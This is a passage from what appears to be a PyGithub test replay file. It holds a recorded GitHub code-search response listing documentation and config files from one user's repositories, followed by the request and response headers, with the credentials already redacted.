quev6/vincent-jacques.net/blob/e9a8fa6ae7e3968898952331e379389b21f2e464/src/links.json","repository":{"id":1986874,"node_id":"MDEwOlJlcG9zaXRvcnkxOTg2ODc0","name":"vincent-jacques.net","full_name":"jacquev6/vincent-jacques.net","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/vincent-jacques.net","description":null,"fork":false,"url":"https://api.github.com/repos/jacquev6/vincent-jacques.net","forks_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/forks","keys_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/teams","hooks_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/events","assignees_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/tags","blobs_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/languages","stargazers_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/subscription","commits_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/merges","archive_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/downloads","issues_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/vincent-jacques.net/deployments"},"score":30.72586},{"name":"conf.py","path":"doc/conf.py","sha":"3806e081e706709f232605a1a55779494e8736a9","url":"https://api.github.com/repositories/57307104/contents/doc/conf.py?ref=f2fa67d8836a547eb91429dc6895066cc40cc6f9","git_url":"https://api.github.com/repositories/57307104/git/blobs/3806e081e706709f232605a1a55779494e8736a9","html_url":"https://github.com/jacquev6/hashids-ocaml/blob/f2fa67d8836a547eb91429dc6895066cc40cc6f9/doc/conf.py","repository":{"id":57307104,"node_id":"MDEwOlJlcG9zaXRvcnk1NzMwNzEwNA==","name":"hashids-ocaml","full_name":"jacquev6/hashids-ocaml","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/hashids-ocaml","description":"OCaml implementation of http://hashids.org","fork":false,"url":"https://api.github.com/repos/jacquev6/hashids-ocaml","forks_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/forks","keys_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/teams","hooks_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/events","assignees_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/tags","blobs_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/languages","stargazers_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/subscription","commits_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/merges","archive_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/downloads","issues_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/hashids-ocaml/deployments"},"score":30.706871},{"name":"index.html","path":"docs/index.html","sha":"e6f60e9a383e87e0e3bdd320143b42131a637374","url":"https://api.github.com/repositories/40665572/contents/docs/index.html?ref=53100a3be0a782dda81abeb44d9700fcce95b141","git_url":"https://api.github.com/repositories/40665572/git/blobs/e6f60e9a383e87e0e3bdd320143b42131a637374","html_url":"https://github.com/jacquev6/Pynamixel/blob/53100a3be0a782dda81abeb44d9700fcce95b141/docs/index.html","repository":{"id":40665572,"node_id":"MDEwOlJlcG9zaXRvcnk0MDY2NTU3Mg==","name":"Pynamixel","full_name":"jacquev6/Pynamixel","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/Pynamixel","description":"Python library to use Robotis Dynamixel servos","fork":false,"url":"https://api.github.com/repos/jacquev6/Pynamixel","forks_url":"https://api.github.com/repos/jacquev6/Pynamixel/forks","keys_url":"https://api.github.com/repos/jacquev6/Pynamixel/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/Pynamixel/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/Pynamixel/teams","hooks_url":"https://api.github.com/repos/jacquev6/Pynamixel/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/Pynamixel/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/Pynamixel/events","assignees_url":"https://api.github.com/repos/jacquev6/Pynamixel/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/Pynamixel/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/Pynamixel/tags","blobs_url":"https://api.github.com/repos/jacquev6/Pynamixel/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/Pynamixel/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/Pynamixel/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/Pynamixel/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/Pynamixel/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/Pynamixel/languages","stargazers_url":"https://api.github.com/repos/jacquev6/Pynamixel/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/Pynamixel/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/Pynamixel/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/Pynamixel/subscription","commits_url":"https://api.github.com/repos/jacquev6/Pynamixel/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/Pynamixel/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/Pynamixel/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/Pynamixel/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/Pynamixel/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/Pynamixel/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/Pynamixel/merges","archive_url":"https://api.github.com/repos/jacquev6/Pynamixel/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/Pynamixel/downloads","issues_url":"https://api.github.com/repos/jacquev6/Pynamixel/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/Pynamixel/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/Pynamixel/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/Pynamixel/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/Pynamixel/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/Pynamixel/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/Pynamixel/deployments"},"score":30.567461},{"name":"index.html","path":"docs/index.html","sha":"8ca909d8491abfbc39058d33b5e89e14b5baf1c6","url":"https://api.github.com/repositories/34715715/contents/docs/index.html?ref=2177eaa753a518b4c7c7f4b28e955b2c81b30925","git_url":"https://api.github.com/repositories/34715715/git/blobs/8ca909d8491abfbc39058d33b5e89e14b5baf1c6","html_url":"https://github.com/jacquev6/variadic/blob/2177eaa753a518b4c7c7f4b28e955b2c81b30925/docs/index.html","repository":{"id":34715715,"node_id":"MDEwOlJlcG9zaXRvcnkzNDcxNTcxNQ==","name":"variadic","full_name":"jacquev6/variadic","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/variadic","description":"Python decorator for very-variadic functions","fork":false,"url":"https://api.github.com/repos/jacquev6/variadic","forks_url":"https://api.github.com/repos/jacquev6/variadic/forks","keys_url":"https://api.github.com/repos/jacquev6/variadic/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/variadic/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/variadic/teams","hooks_url":"https://api.github.com/repos/jacquev6/variadic/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/variadic/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/variadic/events","assignees_url":"https://api.github.com/repos/jacquev6/variadic/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/variadic/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/variadic/tags","blobs_url":"https://api.github.com/repos/jacquev6/variadic/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/variadic/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/variadic/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/variadic/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/variadic/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/variadic/languages","stargazers_url":"https://api.github.com/repos/jacquev6/variadic/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/variadic/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/variadic/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/variadic/subscription","commits_url":"https://api.github.com/repos/jacquev6/variadic/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/variadic/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/variadic/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/variadic/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/variadic/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/variadic/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/variadic/merges","archive_url":"https://api.github.com/repos/jacquev6/variadic/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/variadic/downloads","issues_url":"https://api.github.com/repos/jacquev6/variadic/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/variadic/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/variadic/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/variadic/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/variadic/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/variadic/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/variadic/deployments"},"score":30.565767},{"name":"search.html","path":"docs/search.html","sha":"8d0121aad54dcd0af48dceb0b9117cb33aad7a16","url":"https://api.github.com/repositories/100627412/contents/docs/search.html?ref=0a80a726d3b09f945e8e601511dd18f1f3ef0162","git_url":"https://api.github.com/repositories/100627412/git/blobs/8d0121aad54dcd0af48dceb0b9117cb33aad7a16","html_url":"https://github.com/jacquev6/General/blob/0a80a726d3b09f945e8e601511dd18f1f3ef0162/docs/search.html","repository":{"id":100627412,"node_id":"MDEwOlJlcG9zaXRvcnkxMDA2Mjc0MTI=","name":"General","full_name":"jacquev6/General","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/General","description":"Rich functionality for built-in and basic OCaml types","fork":false,"url":"https://api.github.com/repos/jacquev6/General","forks_url":"https://api.github.com/repos/jacquev6/General/forks","keys_url":"https://api.github.com/repos/jacquev6/General/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/General/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/General/teams","hooks_url":"https://api.github.com/repos/jacquev6/General/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/General/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/General/events","assignees_url":"https://api.github.com/repos/jacquev6/General/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/General/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/General/tags","blobs_url":"https://api.github.com/repos/jacquev6/General/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/General/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/General/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/General/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/General/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/General/languages","stargazers_url":"https://api.github.com/repos/jacquev6/General/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/General/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/General/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/General/subscription","commits_url":"https://api.github.com/repos/jacquev6/General/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/General/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/General/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/General/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/General/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/General/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/General/merges","archive_url":"https://api.github.com/repos/jacquev6/General/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/General/downloads","issues_url":"https://api.github.com/repos/jacquev6/General/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/General/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/General/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/General/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/General/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/General/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/General/deployments"},"score":30.550869},{"name":"user_guide.html","path":"docs/user_guide.html","sha":"cbc47d1035173fc0ffc88a5f7bf1eb869cb16a5b","url":"https://api.github.com/repositories/100627412/contents/docs/user_guide.html?ref=0a80a726d3b09f945e8e601511dd18f1f3ef0162","git_url":"https://api.github.com/repositories/100627412/git/blobs/cbc47d1035173fc0ffc88a5f7bf1eb869cb16a5b","html_url":"https://github.com/jacquev6/General/blob/0a80a726d3b09f945e8e601511dd18f1f3ef0162/docs/user_guide.html","repository":{"id":100627412,"node_id":"MDEwOlJlcG9zaXRvcnkxMDA2Mjc0MTI=","name":"General","full_name":"jacquev6/General","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/General","description":"Rich functionality for built-in and basic OCaml types","fork":false,"url":"https://api.github.com/repos/jacquev6/General","forks_url":"https://api.github.com/repos/jacquev6/General/forks","keys_url":"https://api.github.com/repos/jacquev6/General/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/General/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/General/teams","hooks_url":"https://api.github.com/repos/jacquev6/General/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/General/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/General/events","assignees_url":"https://api.github.com/repos/jacquev6/General/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/General/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/General/tags","blobs_url":"https://api.github.com/repos/jacquev6/General/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/General/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/General/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/General/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/General/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/General/languages","stargazers_url":"https://api.github.com/repos/jacquev6/General/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/General/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/General/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/General/subscription","commits_url":"https://api.github.com/repos/jacquev6/General/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/General/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/General/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/General/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/General/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/General/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/General/merges","archive_url":"https://api.github.com/repos/jacquev6/General/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/General/downloads","issues_url":"https://api.github.com/repos/jacquev6/General/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/General/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/General/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/General/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/General/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/General/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/General/deployments"},"score":30.550869},{"name":"index.html","path":"docs/index.html","sha":"b28fd3e041d41dfb3d2c68c93969ce2c32521480","url":"https://api.github.com/repositories/6518903/contents/docs/index.html?ref=16a493a59c2e22812c8b4545b11be4b6ca4e38d3","git_url":"https://api.github.com/repositories/6518903/git/blobs/b28fd3e041d41dfb3d2c68c93969ce2c32521480","html_url":"https://github.com/jacquev6/ActionTree/blob/16a493a59c2e22812c8b4545b11be4b6ca4e38d3/docs/index.html","repository":{"id":6518903,"node_id":"MDEwOlJlcG9zaXRvcnk2NTE4OTAz","name":"ActionTree","full_name":"jacquev6/ActionTree","private":false,"owner":{"login":"jacquev6","id":327146,"node_id":"MDQ6VXNlcjMyNzE0Ng==","avatar_url":"https://avatars1.githubusercontent.com/u/327146?v=4","gravatar_id":"","url":"https://api.github.com/users/jacquev6","html_url":"https://github.com/jacquev6","followers_url":"https://api.github.com/users/jacquev6/followers","following_url":"https://api.github.com/users/jacquev6/following{/other_user}","gists_url":"https://api.github.com/users/jacquev6/gists{/gist_id}","starred_url":"https://api.github.com/users/jacquev6/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/jacquev6/subscriptions","organizations_url":"https://api.github.com/users/jacquev6/orgs","repos_url":"https://api.github.com/users/jacquev6/repos","events_url":"https://api.github.com/users/jacquev6/events{/privacy}","received_events_url":"https://api.github.com/users/jacquev6/received_events","type":"User","site_admin":false},"html_url":"https://github.com/jacquev6/ActionTree","description":"Python library executing long concurrent actions with inter-dependencies","fork":false,"url":"https://api.github.com/repos/jacquev6/ActionTree","forks_url":"https://api.github.com/repos/jacquev6/ActionTree/forks","keys_url":"https://api.github.com/repos/jacquev6/ActionTree/keys{/key_id}","collaborators_url":"https://api.github.com/repos/jacquev6/ActionTree/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/jacquev6/ActionTree/teams","hooks_url":"https://api.github.com/repos/jacquev6/ActionTree/hooks","issue_events_url":"https://api.github.com/repos/jacquev6/ActionTree/issues/events{/number}","events_url":"https://api.github.com/repos/jacquev6/ActionTree/events","assignees_url":"https://api.github.com/repos/jacquev6/ActionTree/assignees{/user}","branches_url":"https://api.github.com/repos/jacquev6/ActionTree/branches{/branch}","tags_url":"https://api.github.com/repos/jacquev6/ActionTree/tags","blobs_url":"https://api.github.com/repos/jacquev6/ActionTree/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/jacquev6/ActionTree/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/jacquev6/ActionTree/git/refs{/sha}","trees_url":"https://api.github.com/repos/jacquev6/ActionTree/git/trees{/sha}","statuses_url":"https://api.github.com/repos/jacquev6/ActionTree/statuses/{sha}","languages_url":"https://api.github.com/repos/jacquev6/ActionTree/languages","stargazers_url":"https://api.github.com/repos/jacquev6/ActionTree/stargazers","contributors_url":"https://api.github.com/repos/jacquev6/ActionTree/contributors","subscribers_url":"https://api.github.com/repos/jacquev6/ActionTree/subscribers","subscription_url":"https://api.github.com/repos/jacquev6/ActionTree/subscription","commits_url":"https://api.github.com/repos/jacquev6/ActionTree/commits{/sha}","git_commits_url":"https://api.github.com/repos/jacquev6/ActionTree/git/commits{/sha}","comments_url":"https://api.github.com/repos/jacquev6/ActionTree/comments{/number}","issue_comment_url":"https://api.github.com/repos/jacquev6/ActionTree/issues/comments{/number}","contents_url":"https://api.github.com/repos/jacquev6/ActionTree/contents/{+path}","compare_url":"https://api.github.com/repos/jacquev6/ActionTree/compare/{base}...{head}","merges_url":"https://api.github.com/repos/jacquev6/ActionTree/merges","archive_url":"https://api.github.com/repos/jacquev6/ActionTree/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/jacquev6/ActionTree/downloads","issues_url":"https://api.github.com/repos/jacquev6/ActionTree/issues{/number}","pulls_url":"https://api.github.com/repos/jacquev6/ActionTree/pulls{/number}","milestones_url":"https://api.github.com/repos/jacquev6/ActionTree/milestones{/number}","notifications_url":"https://api.github.com/repos/jacquev6/ActionTree/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/jacquev6/ActionTree/labels{/name}","releases_url":"https://api.github.com/repos/jacquev6/ActionTree/releases{/id}","deployments_url":"https://api.github.com/repos/jacquev6/ActionTree/deployments"},"score":30.45334}]} https GET api.github.com None /search/code?q=jacquev6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Tue, 23 Oct 2018 06:16:54 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('X-RateLimit-Limit', '30'), ('X-RateLimit-Remaining', '25'), ('X-RateLimit-Reset', '1540275467'), ('Cache-Control', 'no-cache'), ('X-OAuth-Scopes', 'admin:gpg_key, admin:org, admin:org_hook, admin:public_key, admin:repo_hook, delete_repo, gist, notifications, repo, user, write:discussion'), ('X-Accepted-OAuth-Scopes', ''), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('Link', '; rel="next", ; rel="last"'), ('Access-Control-Expose-Headers', 'ETag, Link, Retry-After, X-GitHub-OTP, 